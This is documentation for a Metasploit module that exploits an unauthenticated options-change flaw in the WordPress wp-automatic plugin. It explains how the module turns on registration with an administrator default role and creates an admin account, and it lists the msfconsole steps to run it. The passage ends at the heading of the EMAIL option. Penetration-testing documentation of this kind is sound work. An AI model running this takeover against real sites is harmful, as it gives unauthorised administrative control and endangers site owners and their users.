## Vulnerable Application

This module exploits an unauthenticated arbitrary wordpress options change vulnerability
in the Automatic (wp-automatic) plugin <= 3.53.2.

If `WPEMAIL` is provided, the administrator's email address will be changed.

User registration is enabled, and default user role is
set to administrator.  A user is then created with the `USER` name set.
A valid `EMAIL` is required to get the registration email (not handled in MSF).

A vulnerable version of the plugin can be downloaded [here](https://legendblogs.com/wp-automatic-plugin-free-download)

## Verification Steps

1. Install the vulnerable plugin
1. Start msfconsole
1. Do: `use auxiliary/admin/http/wp_automatic_plugin_privesc`
1. Do: `set rhosts [IPs]`
1. Do: `set email [email address]`
1. Do: `run`
1. You should get an email to setup your new admin account.

## Options

### EMAIL
